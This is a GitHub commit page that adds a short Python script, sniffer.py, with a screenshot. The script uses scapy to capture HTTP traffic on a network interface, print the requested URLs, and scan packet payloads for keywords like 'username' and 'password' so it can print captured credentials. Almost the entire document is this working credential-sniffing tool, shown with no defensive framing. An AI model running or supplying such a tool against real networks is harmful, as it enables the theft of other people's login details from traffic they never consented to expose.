Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Commit c22cc97

Browse files
sniffer
1 parent ce7e971 commit c22cc97

File tree

2 files changed

+41
-0
lines changed

2 files changed

+41
-0
lines changed

‎SNIFFER/sniffer.png‎

84.3 KB
Loading[フレーム]

‎SNIFFER/sniffer.py‎

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
import scapy.all as scapy
2+
from scapy.layers import http # pip install scapy_http
3+
4+
# from scapy_http import http
5+
6+
def get_url(packet):
7+
return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path #for detecting urls
8+
9+
10+
def sniff(interface):
11+
scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet) #prn it will excute a function which we will give it after capturing packet
12+
13+
14+
def get_login_info(packet):
15+
if packet.haslayer(scapy.Raw):
16+
# print(packet[scapy.Raw].load) #finding and printing Raw layer
17+
load = packet[scapy.Raw].load
18+
keywords=["username", "user", "login" ,"password", "pass"]
19+
for keyword in keywords:
20+
if keyword in load:
21+
return load
22+
23+
24+
#store =dont store memory on this pc
25+
26+
def process_sniffed_packet(packet): # for http only
27+
if packet.haslayer(http.HTTPRequest):
28+
url = get_url(packet)
29+
print("[+] HTTP REQUEST >> \n"+url)
30+
31+
login_info=get_login_info(packet)
32+
if login_info:
33+
print("\n\n[+] possible username/password >>"+login_info+"\n\n")
34+
35+
36+
37+
sniff("eth0") #----interfaceon which you want to sniff
38+
39+
40+
## imp -----> python sniffer.py
41+
##code is not in python3

0 commit comments

Comments
(0)

AltStyle によって変換されたページ (->オリジナル) /